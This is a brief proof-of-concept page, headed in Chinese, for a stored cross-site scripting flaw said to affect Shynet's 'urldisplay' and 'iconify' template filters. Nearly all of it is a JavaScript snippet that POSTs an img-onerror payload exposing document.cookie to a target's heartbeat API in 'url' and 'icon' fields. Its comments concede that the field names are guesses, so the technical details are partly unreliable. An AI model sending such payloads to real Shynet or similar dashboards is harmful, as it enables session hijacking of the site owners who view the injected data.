CVE-2026-35508 Shynet 存储型XSS漏洞

<!-- PoC for CVE-2026-35508 The vulnerability exists in the 'urldisplay' and 'iconify' template filters. Injecting a malicious payload into a URL field that is processed by these filters can trigger XSS. --> <script> // Example payload to inject into the vulnerable URL field // When the shynet dashboard renders this URL using the 'urldisplay' filter, the script executes. var payload = '"><img src=x onerror=alert(document.cookie)>'; // Simulate sending a request with the malicious payload fetch('https://target-shynet-domain.com/api/heartbeat', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ // The specific parameter name depends on the implementation, usually 'url' or 'referrer' "url": payload, // 'iconify' filter might process icon paths or similar data "icon": payload }) }).then(response => console.log('Payload sent')); </script>